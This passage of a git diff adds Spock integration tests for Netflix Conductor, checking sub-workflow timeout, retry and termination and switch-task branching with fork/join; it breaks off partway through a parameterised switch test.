b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowSpec.groovy new file mode 100644 index 0000000..f17fe5d --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowSpec.groovy @@ -0,0 +1,508 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class SubWorkflowSpec extends AbstractSpecification { + + @Autowired + SubWorkflow subWorkflowTask + + @Shared + def WORKFLOW_WITH_SUBWORKFLOW = 'integration_test_wf_with_sub_wf' + + @Shared + def SUB_WORKFLOW = "sub_workflow" + + @Shared + def SIMPLE_WORKFLOW = "integration_test_wf" + + def setup() { + workflowTestUtil.registerWorkflows('simple_one_task_sub_workflow_integration_test.json', + 'simple_workflow_1_integration_test.json', + 'workflow_with_sub_workflow_1_integration_test.json') + } + + def "Test retrying a subworkflow where parent workflow timed out due to workflowTimeout"() { + + setup: "Register a workflow definition with a timeout policy set to timeout workflow" + def persistedWorkflowDefinition = metadataService.getWorkflowDef(WORKFLOW_WITH_SUBWORKFLOW, 1) + def modifiedWorkflowDefinition = new WorkflowDef() + modifiedWorkflowDefinition.name = persistedWorkflowDefinition.name + modifiedWorkflowDefinition.version = persistedWorkflowDefinition.version + modifiedWorkflowDefinition.tasks = persistedWorkflowDefinition.tasks + modifiedWorkflowDefinition.inputParameters = persistedWorkflowDefinition.inputParameters + modifiedWorkflowDefinition.outputParameters = persistedWorkflowDefinition.outputParameters + modifiedWorkflowDefinition.timeoutPolicy = WorkflowDef.TimeoutPolicy.TIME_OUT_WF + modifiedWorkflowDefinition.timeoutSeconds = 10 + modifiedWorkflowDefinition.ownerEmail = persistedWorkflowDefinition.ownerEmail + metadataService.updateWorkflowDef([modifiedWorkflowDefinition]) + + and: "an existing workflow with subworkflow and registered definitions" + metadataService.getWorkflowDef(SUB_WORKFLOW, 1) + metadataService.getWorkflowDef(WORKFLOW_WITH_SUBWORKFLOW, 1) + + and: "input required to start the workflow execution" + String correlationId = 'wf_with_subwf_test_1' + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + input['subwf'] = 'sub_workflow' + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_SUBWORKFLOW, 1, + correlationId, input, null) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the integration_task_1 task" + def pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + when: "the subworkflow task is started by issuing a system task call" + def rootSubWfTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (rootSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, rootSubWfTask.taskId) + } + + then: "verify that the 'integration_task1' is complete and the next task (subworkflow) is in IN_PROGRESS state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "the subworkflow task id is captured" + String subworkflowTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTasks().get(1).getTaskId() + + then: "verify that the 'sub_workflow_task' is in a IN_PROGRESS state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TaskType.SUB_WORKFLOW.name() + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "subworkflow is retrieved" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowId = workflow.tasks[1].subWorkflowId + sweep(subWorkflowId) + + then: "verify that the sub workflow is RUNNING, and first task is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'simple_task_in_sub_wf' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "a delay of 10 seconds is introduced and the workflow is sweeped to run the evaluation" + Thread.sleep(10000) + sweep(workflowInstanceId) + + then: "ensure that the workflow has been TIMED OUT and subworkflow task is CANCELED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TIMED_OUT + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TaskType.SUB_WORKFLOW.name() + tasks[1].status == Task.Status.CANCELED + } + + and: "ensure that the subworkflow is TERMINATED and task is CANCELED" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.TERMINATED + tasks.size() == 1 + tasks[0].taskType == 'simple_task_in_sub_wf' + tasks[0].status == Task.Status.CANCELED + } + + when: "the subworkflow is retried" + workflowExecutor.retry(subWorkflowId, false) + + then: "ensure that the subworkflow is RUNNING and task is retried" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'simple_task_in_sub_wf' + tasks[0].status == Task.Status.CANCELED + tasks[1].taskType == 'simple_task_in_sub_wf' + tasks[1].status == Task.Status.SCHEDULED + } + + and: "verify that the parent workflow is resumed with the subworkflow task back in progress" + conditions.eventually { + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == TaskType.SUB_WORKFLOW.name() + tasks[1].status == Task.Status.IN_PROGRESS + } + } + + when: "Polled for simple_task_in_sub_wf task in subworkflow" + pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('simple_task_in_sub_wf', 'task1.integration.worker', ['op': 'simple_task_in_sub_wf.done']) + + then: "verify that the 'simple_task_in_sub_wf' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + and: "verify that the subworkflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'simple_task_in_sub_wf' + tasks[0].status == Task.Status.CANCELED + tasks[1].taskType == 'simple_task_in_sub_wf' + tasks[1].status == Task.Status.COMPLETED + } + + and: "subworkflow task is in a completed state" + conditions.eventually { + with(workflowExecutionService.getTask(subworkflowTaskId)) { + status == Task.Status.COMPLETED + } + } + + and: "the parent workflow is swept" + sweep(workflowInstanceId) + + and: "the parent workflow has been resumed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TaskType.SUB_WORKFLOW.name() + tasks[1].status == Task.Status.COMPLETED + !tasks[1].subworkflowChanged + output['op'] == 'simple_task_in_sub_wf.done' + } + + cleanup: "Ensure that the changes to the workflow def are reverted" + metadataService.updateWorkflowDef([persistedWorkflowDefinition]) + } + + def "Test terminating a subworkflow terminates parent workflow"() { + given: "Existing workflow and subworkflow definitions" + metadataService.getWorkflowDef(SUB_WORKFLOW, 1) + metadataService.getWorkflowDef(WORKFLOW_WITH_SUBWORKFLOW, 1) + + and: "input required to start the workflow execution" + String correlationId = 'wf_with_subwf_test_1' + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + input['subwf'] = 'sub_workflow' + + when: "Start a workflow with subworkflow based on the registered definition" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_SUBWORKFLOW, 1, + correlationId, input, + null) + + then: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "Polled for integration_task_1 task" + def pollAndCompleteTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try1) + + when: "the subworkflow task is started by issuing a system task call" + def midSubWfTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (midSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, midSubWfTask.taskId) + } + + then: "verify that the 'integration_task1' is complete and the next task (subworkflow) is IN_PROGRESS" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "subworkflow is retrieved" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowId = workflow.tasks[1].subWorkflowId + sweep(subWorkflowId) + + then: "verify that the 'sub_workflow_task' is polled and IN_PROGRESS" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "verify that the sub workflow is RUNNING, and first task is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'simple_task_in_sub_wf' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "subworkflow is terminated" + def terminateReason = "terminating from a test case" + workflowExecutor.terminateWorkflow(subWorkflowId, terminateReason) + + then: "verify that sub workflow is in terminated state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.TERMINATED + tasks.size() == 1 + tasks[0].taskType == 'simple_task_in_sub_wf' + tasks[0].status == Task.Status.CANCELED + reasonForIncompletion == terminateReason + } + + and: + sweep(workflowInstanceId) + + and: "verify that parent workflow is in terminated state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TERMINATED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.CANCELED + reasonForIncompletion && reasonForIncompletion.contains(terminateReason) + } + } + + def "Test retrying a workflow with subworkflow resume"() { + setup: "Modify task definition to 0 retries" + def persistedTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTask2Definition = new TaskDef(persistedTask2Definition.name, persistedTask2Definition.description, + persistedTask2Definition.ownerEmail, 0, persistedTask2Definition.timeoutSeconds, + persistedTask2Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTask2Definition) + + and: "an existing workflow with subworkflow and registered definitions" + metadataService.getWorkflowDef(SIMPLE_WORKFLOW, 1) + metadataService.getWorkflowDef(WORKFLOW_WITH_SUBWORKFLOW, 1) + + and: "input required to start the workflow execution" + String correlationId = 'wf_retry_with_subwf_resume_test' + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + input['subwf'] = 'integration_test_wf' + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_SUBWORKFLOW, 1, + correlationId, input, null) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the integration_task_1 task" + def pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + when: "the subworkflow task is started by issuing a system task call" + def resumeSubWfTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (resumeSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, resumeSubWfTask.taskId) + } + + then: "verify that the 'integration_task_1' is complete and the next task (subworkflow) is IN_PROGRESS" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.IN_PROGRESS + } + + then: "verify that the 'sub_workflow_task' is in a IN_PROGRESS state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TaskType.SUB_WORKFLOW.name() + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "subworkflow is retrieved" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowId = workflow.tasks[1].subWorkflowId + sweep(subWorkflowId) + + then: "verify that the sub workflow is RUNNING, and first task is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the integration_task_1 task" + pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + and: "verify that the 'integration_task_1' is complete and the next task is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "poll and fail the integration_task_2 task" + def pollAndFailTask = workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.integration.worker', 'failed') + + then: "verify that the 'integration_task_2' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndFailTask) + + then: "the sub workflow ends up in a FAILED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + } + + and: + sweep(workflowInstanceId) + + and: "the workflow is in a FAILED state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.FAILED + } + + when: "the workflow is retried by resuming subworkflow task" + workflowExecutor.retry(workflowInstanceId, true) + + then: "the subworkflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + } + + and: "the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the integration_task_2 task" + pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + then: "the integration_task_2 is complete sub workflow ends up in a COMPLETED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + } + + and: + sweep(workflowInstanceId) + + then: "the workflow is in a COMPLETED state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + !tasks[1].subworkflowChanged + } + + cleanup: "Ensure that changes to the task def are reverted" + metadataService.updateTaskDef(persistedTask2Definition) + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SwitchTaskSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SwitchTaskSpec.groovy new file mode 100644 index 0000000..93c1e6c --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SwitchTaskSpec.groovy @@ -0,0 +1,407 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.Join +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared +import spock.lang.Unroll + +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class SwitchTaskSpec extends AbstractSpecification { + + @Autowired + Join joinTask + + @Shared + def SWITCH_WF = "SwitchWorkflow" + + @Shared + def FORK_JOIN_SWITCH_WF = "ForkConditionalTest" + + @Shared + def COND_TASK_WF = "ConditionalTaskWF" + + @Shared + def SWITCH_NODEFAULT_WF = "SwitchWithNoDefaultCaseWF" + + def setup() { + //initialization code for each feature + workflowTestUtil.registerWorkflows('simple_switch_task_integration_test.json', + 'switch_and_fork_join_integration_test.json', + 'conditional_switch_task_workflow_integration_test.json', + 'switch_with_no_default_case_integration_test.json') + } + + def "Test simple switch workflow"() { + given: "Workflow an input of a workflow with switch task" + Map input = new HashMap() + input['param1'] = 'p1' + input['param2'] = 'p2' + input['case'] = 'c' + + when: "A switch workflow is started with the workflow input" + def workflowInstanceId = startWorkflow(SWITCH_WF, 1, + 'switch_workflow', input, + null) + + then: "verify that the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'SWITCH' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_1' is polled and completed" + def polledAndCompletedTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker') + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1Try1) + + and: "verify that the 'integration_task_1' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'SWITCH' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_2' is polled and completed" + def polledAndCompletedTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker') + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2Try1) + + and: "verify that the 'integration_task_2' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_20' + tasks[3].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_20' is polled and completed" + def polledAndCompletedTask20Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_20', 'task1.integration.worker') + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask20Try1) + + and: "verify that the 'integration_task_20' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[3].taskType == 'integration_task_20' + tasks[3].status == Task.Status.COMPLETED + } + } + + def "Test a workflow that has a switch task that leads to a fork join"() { + given: "Workflow an input of a workflow with switch task" + Map input = new HashMap() + input['param1'] = 'p1' + input['param2'] = 'p2' + input['case'] = 'c' + + when: "A switch workflow is started with the workflow input" + def workflowInstanceId = startWorkflow(FORK_JOIN_SWITCH_WF, 1, + 'switch_forkjoin', input, + null) + + then: "verify that the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SWITCH' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'integration_task_10' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.IN_PROGRESS + } + + when: "the tasks 'integration_task_1' and 'integration_task_10' are polled and completed" + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("joinTask").taskId + def polledAndCompletedTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker') + def polledAndCompletedTask10Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_10', 'task1.integration.worker') + + then: "verify that the tasks are completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1Try1) + verifyPolledAndAcknowledgedTask(polledAndCompletedTask10Try1) + + and: "verify that the 'integration_task_1' and 'integration_task_10' are COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[2].taskType == 'integration_task_1' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_10' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JOIN' + tasks[4].inputData['joinOn'] == ['t20', 't10'] + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_2' is polled and completed" + def polledAndCompletedTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker') + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2Try1) + + and: "verify that the 'integration_task_2' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[4].taskType == 'JOIN' + tasks[4].inputData['joinOn'] == ['t20', 't10'] + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'integration_task_20' + tasks[6].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_20' is polled and completed" + def polledAndCompletedTask20Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_20', 'task1.integration.worker') + + and: "the workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask20Try1) + + when: "JOIN task is polled and executed" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "verify that the JOIN is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 7 + tasks[4].taskType == 'JOIN' + tasks[4].inputData['joinOn'] == ['t20', 't10'] + tasks[4].status == Task.Status.COMPLETED + tasks[6].taskType == 'integration_task_20' + tasks[6].status == Task.Status.COMPLETED + } + } + + def "Test default case condition execution of a conditional workflow"() { + given: "input for a workflow to ensure that the default case is executed" + Map input = new HashMap() + input['param1'] = 'xxx' + input['param2'] = 'two' + + when: "A conditional workflow is started with the workflow input" + def workflowInstanceId = startWorkflow(COND_TASK_WF, 1, + 'conditional_default', input, + null) + + then: "verify that the workflow is running and the default condition case was executed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'SWITCH' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData['evaluationResult'] == ['xxx'] + tasks[1].taskType == 'integration_task_10' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_10' is polled and completed" + def polledAndCompletedTask10Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_10', 'task1.integration.worker') + + then: "verify that the tasks are completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask10Try1) + + and: "verify that the workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[1].taskType == 'integration_task_10' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SWITCH' + tasks[2].status == Task.Status.COMPLETED + tasks[2].outputData['evaluationResult'] == ['null'] + } + } + + @Unroll + def "Test case 'nested' and '#caseValue' condition execution of a conditional workflow"() { + given: "input for a workflow to ensure that the 'nested' and '#caseValue' switch tree is executed" + Map input = new HashMap() + input['param1'] = 'nested' + input['param2'] = caseValue + + when: "A conditional workflow is started with the workflow input" + def workflowInstanceId = startWorkflow(COND_TASK_WF, 1, + workflowCorrelationId, input, + null) + + then: "verify that the workflow is running and the 'nested' and '#caseValue' condition case was executed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'SWITCH' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData['evaluationResult'] == ['nested'] + tasks[1].taskType == 'SWITCH' + tasks[1].status == Task.Status.COMPLETED + tasks[1].outputData['evaluationResult'] == [caseValue] + tasks[2].taskType == expectedTaskName + tasks[2].status == Task.Status.SCHEDULED + } + + when: "the task '#expectedTaskName' is polled and completed" + def polledAndCompletedTaskTry1 = workflowTestUtil.pollAndCompleteTask(expectedTaskName, 'task.integration.worker') + + then: "verify that the tasks are completed and acknowledged" + 